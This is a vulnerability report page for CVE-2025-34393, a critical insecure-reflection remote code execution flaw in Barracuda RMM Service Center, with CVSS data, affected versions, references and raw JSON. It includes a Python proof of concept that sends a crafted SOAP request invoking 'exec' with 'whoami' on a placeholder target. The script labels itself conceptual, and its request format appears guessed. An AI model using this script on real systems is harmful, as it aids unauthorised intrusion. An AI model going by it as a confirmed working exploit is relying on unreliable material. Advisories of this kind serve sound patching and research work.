Security Vulnerability Report
中文
CVE-2025-34393 CVSS 9.8 CRITICAL

CVE-2025-34393

Published: 2025-12-10 16:16:24
Last Modified: 2025-12-23 14:39:58

Description

Barracuda Service Center, as implemented in the RMM solution, in versions prior to 2025.1.1, does not correctly verify the name of an attacker-controlled WSDL service, leading to insecure reflection. This can result in remote code execution through either invocation of arbitrary methods or deserialization of untrusted types.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:barracuda:rmm:*:*:*:*:*:*:*:* - VULNERABLE
Barracuda RMM Service Center < 2025.1.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-34393 PoC - Barracuda RMM Service Center Insecure Reflection RCE Note: This is a conceptual PoC for educational and security research purposes only. """ import requests import xml.etree.ElementTree as ET from urllib3.exceptions import InsecureRequestWarning # Suppress SSL warnings for testing requests.packages.urllib3.disable_warnings(InsecureRequestWarning) TARGET_URL = "https://TARGET_IP:PORT/servicecenter" def create_malicious_soap_request(): """ Create a malicious SOAP request targeting the vulnerable WSDL processing This PoC demonstrates the concept of exploiting insecure reflection """ # SOAP envelope with malicious WSDL service reference soap_envelope = """<?xml version="1.0" encoding="UTF-8"?> <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:wsdl="http://schemas.xmlsoap.org/wsdl/"> <soap:Header/> <soap:Body> <ns2:ProcessRequest xmlns:ns2="http://servicecenter.barracuda.com/"> <ServiceName>malicious.service.Class</ServiceName> <MethodName>exec</MethodName> <Parameters> <Parameter type="java.lang.String">whoami</Parameter> </Parameters> </ns2:ProcessRequest> </soap:Body> </soap:Envelope>""" return soap_envelope def exploit_insecure_reflection(target_url): """ Exploit the insecure reflection vulnerability """ headers = { 'Content-Type': 'text/xml; charset=utf-8', 'SOAPAction': '""' } payload = create_malicious_soap_request() try: response = requests.post( target_url, data=payload, headers=headers, verify=False, timeout=30 ) return response.status_code, response.text except requests.exceptions.RequestException as e: return None, str(e) def main(): print("[*] CVE-2025-34393 Barracuda RMM Service Center RCE PoC") print(f"[*] Target: {TARGET_URL}") print("[*] Attempting to exploit insecure reflection vulnerability...") status, response = exploit_insecure_reflection(TARGET_URL) if status: print(f"[+] Response Status: {status}") print(f"[+] Response: {response[:500]}") else: print(f"[-] Request failed: {response}") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-34393", "sourceIdentifier": "[email protected]", "published": "2025-12-10T16:16:24.340", "lastModified": "2025-12-23T14:39:58.430", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Barracuda Service Center, as implemented in the RMM solution, in versions prior to 2025.1.1, does not correctly verify the name of an attacker-controlled WSDL service, leading to insecure reflection. This can result in remote code execution through either invocation of arbitrary methods or deserialization of untrusted types."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 10.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "HIGH", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-470"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:barracuda:rmm:*:*:*:*:*:*:*:*", "versionEndExcluding": "2025.1.1", "matchCriteriaId": "C6E07E55-A5C9-4B12-8CC2-891D3F8F087D"}]}]}], "references": [{"url": "https://download.mw-rmm.barracudamsp.com/PDF/2025.1.1/RN_BRMM_2025.1.1_EN.pdf", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://www.barracuda.com/products/msp/network-protection/rmm", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.vulncheck.com/advisories/barracuda-rmm-service-center-insecure-reflection-rce", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}